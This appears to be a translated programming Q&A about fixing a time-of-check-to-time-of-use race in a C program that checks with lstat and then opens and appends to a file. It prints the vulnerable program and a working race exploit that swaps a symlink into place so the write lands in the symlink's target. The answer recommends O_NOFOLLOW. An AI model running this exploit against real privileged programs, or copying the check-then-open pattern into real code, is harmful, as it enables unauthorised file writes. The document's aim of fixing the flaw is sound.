安全编程。检查文件然后写入文件时如何避免TOCTOU漏洞

Safe programming. How to avoid TOCTOU vulnerability when checking a file and then writing in it

我有以下代码vuln.c。这会将所需的输入附加到非 link 文件。

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

int process_filename(char *filename)
{
    struct stat aux_stat;
    char buffer[1024];

    printf("Input to be appended: ");
    fgets(buffer, sizeof(buffer), stdin);

    if ((lstat(filename, &aux_stat) == 0) && !S_ISLNK(aux_stat.st_mode))
    {
        printf("[+] Opening file %s...\n", filename);
        int fd = open(filename, O_RDWR | O_APPEND), nb;
        nb = write(fd, buffer, strlen(buffer));
        printf("[+] Done! %d bytes written to %s\n", nb, filename);
        return 0;
    } else
        printf("[-] ERROR: %s is a symlink or does not exist. Exiting...\n", filename);

    return 1;
}

int main(int argc, char * argv[])
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s filename\n", argv[0]);
        exit(1);
    }

    return process_filename(argv[1]);
}

但是存在TOCTOU漏洞(Time-of-check Time-of-use)。有一个检查步骤,检查文件不是符号 link。后来,有一个时间window 与printf 调用,终于使用资源:打开文件。在 window 时间,攻击者可以修改资源,并将输入附加到 link 文件,这可能是不允许的。通过下面的代码,我们就可以利用这个漏洞,可以写成link.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>

int main(int argc, char* argv[])
{
    if (argc != 2) {
        printf("Number of parameters missmatch\n");
        return -1;
    }

    char *tmp_name = "_tmp"; // Name of the temp file
    char *nombre_link = argv[1]; // Link where it's wanted to write
    char *newenviron[] = { NULL };
    char *newargv[] = {"vuln", tmp_name, NULL}; // Args
    int pipe_fds[2]; // Pipe's array
    int filesize; 
    struct stat st;

    // Link's initial size to check changes
    stat(nombre_link, &st);
    filesize = st.st_size;

    // Loop until it's written in the link
    while (st.st_size == filesize) {
        pipe(pipe_fds); 
        // Creates a normal "fake" file to pass the vulnerable code check
        fclose(fopen(tmp_name, "w"));

        int pid = fork();
        if (pid == -1) {
            printf("Error");
        } else if (pid == 0) {
            // Child
            close(pipe_fds[1]); 
            dup2(pipe_fds[0], 0); // Pipe will be the stdin of the execve
            execve("vuln", newargv, newenviron); // Executes vulnerable binary
            exit(3); // Only if execve fails
        } else {
            // Parent
            close(pipe_fds[0]);
            write(pipe_fds[1], "WIN\n", 4); // Writes in the pipe the content to be written in the link
            printf("Deleting... \n"); // Exit temporally the parent from CPU and let child enter
            remove(tmp_name); // Removes the fake file
            rename(nombre_link, tmp_name); // Renames link to the same name
            wait(0); // Waits for execution of the vulnerable binary
            close(pipe_fds[1]); 
            rename(tmp_name, nombre_link); // Returns name's link to its origin name
            stat(nombre_link, &st); // Get link's stats to check if it has been written
        }
    }
    printf("Managed!\n");
    return 0;
}

我如何安全地编写初始 vuln.c 代码以避免此 TOCTOU 漏洞?我尝试先打开一次资源,然后检查它不是 link 和 fstat(等待 fd)而不是 lstat(等待易受攻击的资源,文件的名称)。但是,打开它时,打开的是 link 编辑的文件 link,而不是 link。至此,检查步骤通过。我也尝试过使用 O_NOFOLLOW 标志,但它也不起作用。

在 POSIX 2008 年,open() 有一个您可以使用的选项:

  • O_NOFOLLOW — If path names a symbolic link, fail and set errno to [ELOOP].

这会在 open() 通话中为您提供所需的保护;无需事先检查。